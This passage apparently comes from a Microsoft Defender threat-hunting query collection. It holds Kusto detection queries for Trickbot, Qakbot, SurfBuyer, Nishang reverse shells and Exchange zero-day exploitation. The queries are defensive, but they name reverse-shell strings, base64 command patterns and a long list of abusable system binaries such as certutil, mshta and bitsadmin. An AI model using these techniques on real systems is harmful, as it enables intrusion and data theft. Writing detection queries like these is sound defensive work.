(v=yes) | Notes |\n|-|-|-|\n| Initial access |  |  |\n| Execution | v | Our tests indicate that this query might return a few rare matches to normal activity. |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team"
  },
  {
    "path": "Execution/locate-surfbuyer-downloader-decoding-activity.md",
    "content": "# Locate SurfBuyer downloader decoding activity\n\nThis query was originally published in the threat analytics report, *OSX/SurfBuyer adware campaign*.\n\nIt will return results if a shell script has furtively attempted to decode and save a file to a */tmp* folder.\n\nIf discovered on your system, this kind of activity might be associated with SurfBuyer, which is adware that installs a browser extension to take control of several major web browsers, including Safari, Google Chrome, and Firefox.\n\n## Query\n\n```\n// Find SurfBuyer command to decode a file and save it into a /tmp folder using a certain file name\nDeviceProcessEvents\n// Check for activity over the past 7 days\n| where Timestamp > ago(7d)\n| where ProcessCommandLine has \"base64\" and ProcessCommandLine has \"/tmp/e_\"\n```\n\n## Category\n\nThis query can be used the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|-|-|-|\n| Initial access |  |  |\n| Execution | v |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Execution/office-apps-launching-wscipt.md",
    "content": "# Office applications launching wscript.exe to run JScript\n\nThis query was originally published in the threat analytics report, *Trickbot: Pervasive & underestimated*.\n\n[Trickbot](https://attack.mitre.org/software/S0266/) is a very prevalent piece of malware with an array of malicious capabilities. Originally designed to steal banking credentials, it has since evolved into a modular trojan that can deploy other malware, disable security software, and perform command-and-control (C2) operations.\n\nTrickbot is frequently spread through email. An attacker will send a target a message with an attachment containing a malicious macro. If the target enables the macro, it will write a JScript Encoded (JSE) file to disk (JScript is a Microsoft dialect of ECMAScript). The JSE file will then be launched using *[wscript.exe](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wscript)* to perform a variety of malicious tasks, particularly reconnaissance.\n\nThe following query detects when Office applications have launched wscript.exe to run a JSE file.\n\nSee [Detect rundll.exe being used for reconnaissance and command-and-control](../Command%20and%20Control/recon-with-rundll.md) for another query related to Trickbot activity.\n\n## Query\n\n```Kusto\nDeviceProcessEvents \n| where InitiatingProcessFileName in~('winword.exe', 'excel.exe', 'outlook.exe') \n| where FileName =~ \"wscript.exe\" and ProcessCommandLine has \".jse\" \n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|-|-|-|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement | v |  |\n| Collection | v |  |\n| Command and control | v |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Execution/powershell-activity-after-email-from-malicious-sender.md",
    "content": "\n# PowerShell activities after receipt of emails from known malicious sender\n\nMalicious emails often contain documents and other specially crafted attachments that run PowerShell commands to deliver additional payloads. If you are aware of emails coming from a known malicious sender, you can use this query to list and review PowerShell activities that occurred within 30 minutes after an email was received from the sender .\n\n\n## Query\n\n```\n//Find PowerShell activities right after email was received from malicious sender\nlet x=EmailEvents\n| where SenderFromAddress =~ \"MaliciousSender@example.com\"\n| project TimeEmail = Timestamp, Subject, SenderFromAddress, AccountName = tostring(split(RecipientEmailAddress, \"@\")[0]);\nx\n| join (\nDeviceProcessEvents\n| where FileName =~ \"powershell.exe\"\n//| where InitiatingProcessParentFileName =~ \"outlook.exe\"\n| project TimeProc = Timestamp, AccountName, DeviceName, InitiatingProcessParentFileName, InitiatingProcessFileName, FileName, ProcessCommandLine\n) on AccountName \n| where (TimeProc - TimeEmail) between (0min.. 30min)\n```\n## Category\n\nThis query can be used the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution | v | PowerShell commands are often used to execute malicious code after they arrive via email |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Execution/powershell-version-2.0-execution.md",
    "content": "\n# PowerShell Version 2.0 Execution\n\nFind the execution of PowerShell Version 2.0, eather to discover legacy scripts using version 2 or to find attackers trying to hide from script logging and AMSI.\n\n## Query\n\n```\nDeviceProcessEvents\n| where FileName in~ (\"powershell.exe\", \"powershell_ise.exe\")\n| where ProcessCommandLine has \"-v 2\"\n   or ProcessCommandLine has \"-v 2.0\"\n   or ProcessCommandLine has \"-version 2\"\n   or ProcessCommandLine has \"-version 2.0\"\n```\n## Category\n\nThis query can be used the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution | v|  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n\n## Contributor info\n\n**Contributor:** Manuel Hauch\n\n**GitHub alias:** manuelhauch\n\n**Organization:** Microsoft\n\n**Contact info:** manuel.hauch@microsoft.com\n"
  },
  {
    "path": "Execution/python-based-attacks-on-macos.md",
    "content": "# Python-based attacks on macOS\n\nThis query was originally published in the threat analytics report, *Python abuse on macOS*\n\nThe Python programming language comes bundled with macOS. In threat intelligence gathered from macOS endpoints, we have observed numerous attacks run with *[EmPyre](https://github.com/EmpireProject/EmPyre)*, a Python-based post-exploitation framework similar to [PowerShell Empire](https://www.powershellempire.com/) for Windows.\n\nThe following query checks for Microsoft Office documents that run Python scripts.\n\n## Query\n\n```Kusto\nDeviceProcessEvents\n| where InitiatingProcessParentFileName in (\"Microsoft Word\", \"Microsoft Excel\")\n| where FileName =~ \"Python\"\n| where ProcessCommandLine matches regex \"[A-Za-z0-9]{50}\"\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|-|-|-|\n| Initial access |  |  |\n| Execution | v |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Execution/qakbot-campaign-suspicious-javascript.md",
    "content": "# Javascript use by Qakbot malware\n\nThis query was originally published in the threat analytics report, *Qakbot blight lingers, seeds ransomware*\n\n[Qakbot](https://www.microsoft.com/security/blog/2017/11/06/mitigating-and-eliminating-info-stealing-qakbot-and-emotet-in-corporate-networks/) is malware that steals login credentials from banking and financial services. It has been deployed against small businesses as well as major corporations. Some outbreaks have involved targeted ransomware campaigns that use a similar set of techniques. Links to related queries are listed under [See also](#See-also).\n\nThe following query detects possible attempts by Qakbot to execute malicious Javascript code.\n\n## Query\n\n```Kusto\nDeviceProcessEvents\n| where InitiatingProcessFileName == \"cmd.exe\"\n| where FileName == \"cscript.exe\"\n| where InitiatingProcessCommandLine has \"start /MIN\"\n| where ProcessCommandLine has \"E:javascript\"\n| project ProcessCommandLine, \nInitiatingProcessCommandLine, DeviceId, Timestamp\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|-|-|-|\n| Initial access |  |  |\n| Execution | v |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## See also\n\n* [Self-deletion by Qakbot malware](..\\Defense&#32;evasion\\qakbot-campaign-self-deletion.md)\n* [Process injection by Qakbot malware](..\\Defense&#32;evasion\\qakbot-campaign-process-injection.md)\n* [Registry edits by campaigns using Qakbot malware](..\\Persistence\\qakbot-campaign-registry-edit.md)\n* [Browser cookie theft by campaigns using Qakbot malware](..\\Discovery\\qakbot-campaign-esentutl.md)\n* [Outlook email access by campaigns using Qakbot malware](..\\Discovery\\qakbot-campaign-outlook.md)\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Execution/reverse-shell-nishang-base64.md",
    "content": "# Base64-encoded Nishang commands for loading reverse shell\n\nThis query was originally published in the threat analytics report, \"Exchange Server zero-days exploited in the wild\".\n\nIn early March 2021, Microsoft released [patches](https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server/) for four different zero-day vulnerabilities affecting Microsoft Exchange Server. The vulnerabilities were being used in a coordinated attack. For more information on the vulnerabilities, visit the following links:\n\n* [CVE-2021-26855](https://nvd.nist.gov/vuln/detail/CVE-2021-26855)\n* [CVE-2021-26857](https://nvd.nist.gov/vuln/detail/CVE-2021-26857)\n* [CVE-2021-26858](https://nvd.nist.gov/vuln/detail/CVE-2021-26858)\n* [CVE-2021-27065](https://nvd.nist.gov/vuln/detail/CVE-2021-27065)\n\nThe following query finds evidence of Base64-encoded commands used by the Nishang penetration testing framework to load a reverse TCP shell. This might indicate an attacker has remote access to the device.\n\nMore queries related to this threat can be found under the [See also](#See-also) section of this page.\n\n## Query\n\n```Kusto\nDeviceProcessEvents\n| where FileName in(\"powershell.exe\",\"powershell_ise.exe\") and ProcessCommandLine contains \"-e\"\n| mvexpand SS = split(ProcessCommandLine, \" \")\n| where SS matches regex \"[A-Za-z0-9+/]{50,}[=]{0,2}\"\n| extend DecodeString = base64_decodestring(tostring(SS))\n| extend FinalString = replace(\"\\\\0\", \"\", DecodeString)\n| where FinalString has \"tcpclient\" and FinalString contains \"$\" and (FinalString contains \"invoke\" or FinalString contains \"iex\")\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution | v |  |\n| Persistence | v |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration | v |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |  |  |\n\n## See also\n\n* [Reverse shell loaded using Nishang Invoke-PowerShellTcpOneLine technique](../Execution/reverse-shell-nishang.md)\n* [Procdump dumping LSASS credentials](../Credential%20Access/procdump-lsass-credentials.md)\n* [7-ZIP used by attackers to prepare data for exfiltration](../Exfiltration/7-zip-prep-for-exfiltration.md)\n* [Exchange PowerShell snap-in being loaded](../Exfiltration/exchange-powershell-snapin-loaded.md)\n* [Powercat exploitation tool downloaded](../Delivery/powercat-download.md)\n* [Exchange vulnerability creating web shells via UMWorkerProcess](./umworkerprocess-creating-webshell.md)\n* [Exchange Server IIS dropping web shells and other artifacts](./exchange-iis-worker-dropping-webshell.md)\n* [Exchange vulnerability launching subprocesses through UMWorkerProcess](./umworkerprocess-unusual-subprocess-activity.md)\n\n## Contributor info\n\n**Contributor:** Microsoft 365 Defender team\n"
  },
  {
    "path": "Execution/reverse-shell-nishang.md",
    "content": "# Reverse shell loaded using Nishang Invoke-PowerShellTcpOneLine technique\n\nThis query was originally published in the threat analytics report, \"Exchange Server zero-days exploited in the wild\".\n\nIn early March 2021, Microsoft released [patches](https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server/) for four different zero-day vulnerabilities affecting Microsoft Exchange Server. The vulnerabilities were being used in a coordinated attack. For more information on the vulnerabilities, visit the following links:\n\n* [CVE-2021-26855](https://nvd.nist.gov/vuln/detail/CVE-2021-26855)\n* [CVE-2021-26857](https://nvd.nist.gov/vuln/detail/CVE-2021-26857)\n* [CVE-2021-26858](https://nvd.nist.gov/vuln/detail/CVE-2021-26858)\n* [CVE-2021-27065](https://nvd.nist.gov/vuln/detail/CVE-2021-27065)\n\nThe following query finds evidence of a reverse shell being loaded using a technique associated with the Nishang penetration testing framework. This might indicate an attacker has remote access to the device.\n\nMore queries related to this threat can be found under the [See also](#See-also) section of this page.\n\n## Query\n\n```Kusto\nDeviceProcessEvents | where FileName has_any (\"cmd.exe\", \"powershell.exe\", \"PowerShell_ISE.exe\") \n| where ProcessCommandLine contains \"$client = New-Object System.Net.Sockets.TCPClient\"\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution | v |  |\n| Persistence | v |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration | v |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |  |  |\n\n## See also\n\n* [Procdump dumping LSASS credentials](../Credential%20Access/procdump-lsass-credentials.md)\n* [7-ZIP used by attackers to prepare data for exfiltration](../Exfiltration/7-zip-prep-for-exfiltration.md)\n* [Exchange PowerShell snap-in being loaded](../Exfiltration/exchange-powershell-snapin-loaded.md)\n* [Powercat exploitation tool downloaded](../Delivery/powercat-download.md)\n* [Exchange vulnerability creating web shells via UMWorkerProcess](./umworkerprocess-creating-webshell.md)\n* [Exchange Server IIS dropping web shells and other artifacts](./exchange-iis-worker-dropping-webshell.md)\n* [Exchange vulnerability launching subprocesses through UMWorkerProcess](./umworkerprocess-unusual-subprocess-activity.md)\n* [Base64-encoded Nishang commands for loading reverse shell](./reverse-shell-nishang-base64.md)\n\n## Contributor info\n\n**Contributor:** Microsoft 365 Defender team\n"
  },
  {
    "path": "Execution/sql-server-abuse.md",
    "content": "# SQL Server abuse\n\nThis query was originally published in the threat analytics report, **SQL Server abuse**.\n\n[SQL Server](https://docs.microsoft.com/sql/relational-databases/security/securing-sql-server?view=sql-server-ver15) offers a vast array of tools for automating tasks, exporting data, and running scripts. These legitimate tools can be repurposed by attackers. Because there are so many powerful commands an attacker might exploit, hunting for malicious activity involving SQL Server can be complicated.\n\nThis query detects instances of a SQL Server process launching a shell to run one or more suspicious commands.\n\n## Query\n\n```Kusto\nDeviceProcessEvents \n| where Timestamp  >= ago(10d)\n| where InitiatingProcessFileName in~ (\"sqlservr.exe\", \"sqlagent.exe\", \n\"sqlps.exe\", \"launchpad.exe\")\n| summarize tostring(makeset(ProcessCommandLine)) \nby DeviceId, bin(Timestamp, 2m)\n| where\nset_ProcessCommandLine has \"certutil\" or \nset_ProcessCommandLine has \"netstat\" or \nset_ProcessCommandLine has \"ping\" or \nset_ProcessCommandLine has \"sysinfo\" or \nset_ProcessCommandLine has \"systeminfo\" or \nset_ProcessCommandLine has \"taskkill\" or \nset_ProcessCommandLine has \"wget\" or \nset_ProcessCommandLine has \"whoami\" or \nset_ProcessCommandLine has \"Invoke-WebRequest\" or \nset_ProcessCommandLine has \"Copy-Item\" or \nset_ProcessCommandLine has \"WebClient\" or \nset_ProcessCommandLine has \"advpack.dll\" or \nset_ProcessCommandLine has \"appvlp.exe\" or \nset_ProcessCommandLine has \"atbroker.exe\" or \nset_ProcessCommandLine has \"bash.exe\" or \nset_ProcessCommandLine has \"bginfo.exe\" or \nset_ProcessCommandLine has \"bitsadmin.exe\" or \nset_ProcessCommandLine has \"cdb.exe\" or \nset_ProcessCommandLine has \"certutil.exe\" or \nset_ProcessCommandLine has \"cl_invocation.ps1\" or \nset_ProcessCommandLine has \"cl_mutexverifiers.ps1\" or \nset_ProcessCommandLine has \"cmstp.exe\" or \nset_ProcessCommandLine has \"csi.exe\" or \nset_ProcessCommandLine has \"diskshadow.exe\" or \nset_ProcessCommandLine has \"dnscmd.exe\" or \nset_ProcessCommandLine has \"dnx.exe\" or \nset_ProcessCommandLine has \"dxcap.exe\" or \nset_ProcessCommandLine has \"esentutl.exe\" or \nset_ProcessCommandLine has \"expand.exe\" or \nset_ProcessCommandLine has \"extexport.exe\" or \nset_ProcessCommandLine has \"extrac32.exe\" or \nset_ProcessCommandLine has \"findstr.exe\" or \nset_ProcessCommandLine has \"forfiles.exe\" or \nset_ProcessCommandLine has \"ftp.exe\" or \nset_ProcessCommandLine has \"gpscript.exe\" or \nset_ProcessCommandLine has \"hh.exe\" or \nset_ProcessCommandLine has \"ie4uinit.exe\" or \nset_ProcessCommandLine has \"ieadvpack.dll\" or \nset_ProcessCommandLine has \"ieaframe.dll\" or \nset_ProcessCommandLine has \"ieexec.exe\" or \nset_ProcessCommandLine has \"infdefaultinstall.exe\" or \nset_ProcessCommandLine has \"installutil.exe\" or \nset_ProcessCommandLine has \"makecab.exe\" or \nset_ProcessCommandLine has \"manage-bde.wsf\" or \nset_ProcessCommandLine has \"mavinject.exe\" or \nset_ProcessCommandLine has \"mftrace.exe\" or \nset_ProcessCommandLine has \"microsoft.workflow.compiler.exe\" or \nset_ProcessCommandLine has \"mmc.exe\" or \nset_ProcessCommandLine has \"msbuild.exe\" or \nset_ProcessCommandLine has \"msconfig.exe\" or \nset_ProcessCommandLine has \"msdeploy.exe\" or \nset_ProcessCommandLine has \"msdt.exe\" or \nset_ProcessCommandLine has \"mshta.exe\" or \nset_ProcessCommandLine has \"mshtml.dll\" or \nset_ProcessCommandLine has \"msiexec.exe\" or \nset_ProcessCommandLine has \"msxsl.exe\" or \nset_ProcessCommandLine has \"odbcconf.exe\" or \nset_ProcessCommandLine has \"pcalua.exe\" or \nset_ProcessCommandLine has \"pcwrun.exe\" or \nset_ProcessCommandLine has \"pcwutl.dll\" or \nset_ProcessCommandLine has \"pester.bat\" or \nset_ProcessCommandLine has \"presentationhost.exe\" or \nset_ProcessCommandLine has \"pubprn.vbs\" or \nset_ProcessCommandLine has \"rcsi.exe\" or \nset_ProcessCommandLine has \"regasm.exe\" or \nset_ProcessCommandLine has \"register-cimprovider.exe\" or \nset_ProcessCommandLine has \"regsvcs.exe\" or \nset_ProcessCommandLine has \"regsvr32.exe\" or \nset_ProcessCommandLine has \"replace.exe\" or \nset_ProcessCommandLine has \"rundll32.exe\" or \nset_ProcessCommandLine has \"runonce.exe\" or \nset_ProcessCommandLine has \"runscripthelper.exe\" or \nset_ProcessCommandLine has \"schtasks.exe\" or \nset_ProcessCommandLine has \"scriptrunner.exe\" or \nset_ProcessCommandLine has \"setupapi.dll\" or \nset_ProcessCommandLine has \"shdocvw.dll\" or \nset_ProcessCommandLine has \"shell32.dll\" or \nset_ProcessCommandLine has \"slmgr.vbs\" or \nset_ProcessCommandLine has \"sqltoolsps.exe\" or \nset_ProcessCommandLine has \"syncappvpublishingserver.exe\" or \nset_ProcessCommandLine has \"syncappvpublishingserver.vbs\" or \nset_ProcessCommandLine has \"syssetup.dll\" or \nset_ProcessCommandLine has \"te.exe\" or \nset_ProcessCommandLine has \"tracker.exe\" or \nset_ProcessCommandLine has \"url.dll\" or \nset_ProcessCommandLine has \"verclsid.exe\" or \nset_ProcessCommandLine has \"vsjitdebugger.exe\" or \nset_ProcessCommandLine has \"wab.exe\" or \nset_ProcessCommandLine has \"winrm.vbs\" or \nset_ProcessCommandLine has \"wmic.exe\" or \nset_ProcessCommandLine has \"xwizard.exe\" or \nset_ProcessCommandLine has \"zipfldr.dll\"\n| sort by DeviceId  , Timestamp asc\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution | v | The events detected by this query may be legitimate or malicious. Administrators should investigate further. In particular, a series of these events being recorded within a short timeframe may be strongly indicative of malicious activity. |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Execution/umworkerprocess-creating-webshell.md",
    "content": "# Exchange vulnerability creating web shells via UMWorkerProcess\n\nThis query was originally published in the threat analytics report, \"Exchange Server zero-days exploited in the wild\".\n\nIn early March 2021, Microsoft released [patches](https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server/) for four different zero-day vulnerabilities affecting Microsoft Exchange Server. The vulnerabilities were being used in a coordinated attack. For more information on the vulnerabilities, visit the following links:\n\n* [CVE-2021-26855](https://nvd.nist.gov/vuln/detail/CVE-2021-26855)\n* [CVE-2021-26857](https://nvd.nist.gov/vuln/detail/CVE-2021-26857)\n* [CVE-2021-26858](https://nvd.nist.gov/vuln/detail/CVE-2021-26858)\n* [CVE-2021-27065](https://nvd.nist.gov/vuln/detail/CVE-2021-27065)\n\nThe following query detects unusual file content being created by UMWorkerProcess, the Exchange Unified Messaging service. This might indicated that CVE-2021-26858 is being exploited to generate a web shell.\n\nMore queries related to this threat can be found under the [See also](#See-also) section of this page.\n\n## Query\n\n```Kusto\nDeviceFileEvents\n| where InitiatingProcessFileName == \"UMWorkerProcess.exe\" \n| where FileName !in~(\"CacheCleanup.bin\", \"cleanup.bin\")\n| where FileName !endswith \".txt\"\n| where FileName !endswith \".LOG\" \n| where FileName !endswith \".cfg\"\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution | v |  |\n| Persistence | v |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit | v |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |  |  |\n\n## See also\n\n* [Reverse shell loaded using Nishang Invoke-PowerShellTcpOneLine technique](./reverse-shell-nishang.md)\n* [Procdump dumping LSASS credentials](../Credential%20Access/procdump-lsass-credentials.md)\n* [7-ZIP used by attackers to prepare data for exfiltration](../Exfiltration/7-zip-prep-for-exfiltration.md)\n* [Exchange PowerShell snap-in being loaded](../Exfiltration/exchange-powershell-snapin-loaded.md)\n* [Powercat exploitation tool downloaded](../Delivery/powercat-download.md)\n* [Exchange Server IIS dropping web shells and other artifacts](./exchange-iis-worker-dropping-webshell.md)\n* [Exchange vulnerability launching subprocesses through UMWorkerProcess](./umworkerprocess-unusual-subprocess-activity.md)\n* [Base64-encoded Nishang commands for loading reverse shell](./reverse-shell-nishang-base64.md)\n\n\n## Contributor info\n\n**Contributor:** Microsoft 365 Defender team\n"
  },
  {
    "path": "Execution/umworkerprocess-unusual-subprocess-activity.md",
    "content": "# Exchange vulnerability launching subprocesses through UMWorkerProcess\n\nThis query was originally published in the threat analytics report, \"Exchange Server zero-days exploited in the wild\".\n\nIn early March 2021, Microsoft released [patches](https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server/) for four different zero-day vulnerabilities affecting Microsoft Exchange Server. The vulnerabilities were being used in a coordinated attack. For more information on the vulnerabilities, visit the following links:\n\n* [CVE-2021-26855](https://nvd.nist.gov/vuln/detail/CVE-2021-26855)\n* [CVE-2021-26857](https://nvd.nist.gov/vuln/detail/CVE-2021-26857)\n* [CVE-2021-26858](https://nvd.nist.gov/vuln/detail/CVE-2021-26858)\n* [CVE-2021-27065](https://nvd.nist.gov/vuln/detail/CVE-2021-27065)\n\nThe following query surfaces when unusual subprocesses were launched by MWorkerProcess, the Exchange Unified Messaging service. This might indicate exploitation of CVE-2021-26857 to run arbitrary code.\n\nMore queries related to this threat can be found under the [See also](#See-also) section of this page.\n\n## Query\n\n```Kusto\nDeviceProcessEvents\n| where InitiatingProcessFileName == \"UMWorkerProcess.exe\"\n| where FileName !in~(\"wermgr.exe\", \"WerFault.exe\")\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution | v | An unusually large number of events launching wermgr.exe and WerFault.exe can also indicate a compromise due to the server crashing during deserialization. |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit | v |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |  |  |\n\n## See also\n\n* [Reverse shell loaded using Nishang Invoke-PowerShellTcpOneLine technique](./reverse-shell-nishang.md)\n* [Procdump dumping LSASS credentials](../Credential%20Access/procdump-lsass-credentials.md)\n* [7-ZIP used by attackers to prepare data for exfiltration](../Exfiltration/7-zip-prep-for-exfiltration.md)\n* [Exchange PowerShell snap-in being loaded](../Exfiltration/exchange-powershell-snapin-loaded.md)\n* [Powercat exploitation tool downloaded](../Delivery/powercat-download.md)\n* [Exchange vulnerability creating web shells via UMWorkerProcess](./umworkerprocess-creating-webshell.md)\n* [Exchange Server IIS dropping web shells and other artifacts](./exchange-iis-worker-dropping-webshell.md)\n* [Base64-encoded Nishang commands for loading reverse shell](./reverse-shell-nishang-base64.md)\n\n## Contributor info\n\n**Contributor:** Microsoft 365 Defender team\n"
  },
  {
    "path": "Exfiltration/7-zip-prep-for-exfiltration.md",
    "content": "# 7-ZIP used by attackers to prepare data for exfiltration\n\nThis query was originally published in the threat analytics report, \"Exchange Server zero-days exploited in the wild\".\n\nIn early March 2021, Microsoft released [patches](https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server/) for four different zero-day vulnerabilities affecting Microsoft Exchange Server. The vulnerabilities were being used in a coordinated attack. For more information on the vulnerabilities, visit the following links:\n\n* [CVE-2021-26855](https://nvd.nist.gov/vuln/detail/CVE-2021-26855)\n* [CVE-2021-26857](https://nvd.nist.gov/vuln/detail/CVE-2021-26857)\n* [CVE-2021-26858](https://nvd.nist.gov/vuln/detail/CVE-2021-26858)\n* [CVE-2021-27065](https://nvd.nist.gov/vuln/detail/CVE-2021-27065)\n\nThe following query detects 7-zip activity associated with this threat. 7-ZIP is a legitimate tool used for file archiving; however, unusual 7-ZIP activity combined with other evidence might indicate that an attacker is compressing data for exfiltration.\n\nMore queries related to this threat can be found under the [See also](#See-also) section of this page.\n\n## Query\n\n```Kusto\nDeviceProcessEvents | where FileName == \"7z.exe\" | where ProcessCommandLine contains \"ProgramData\\\\pst\"\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration | v |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |  |  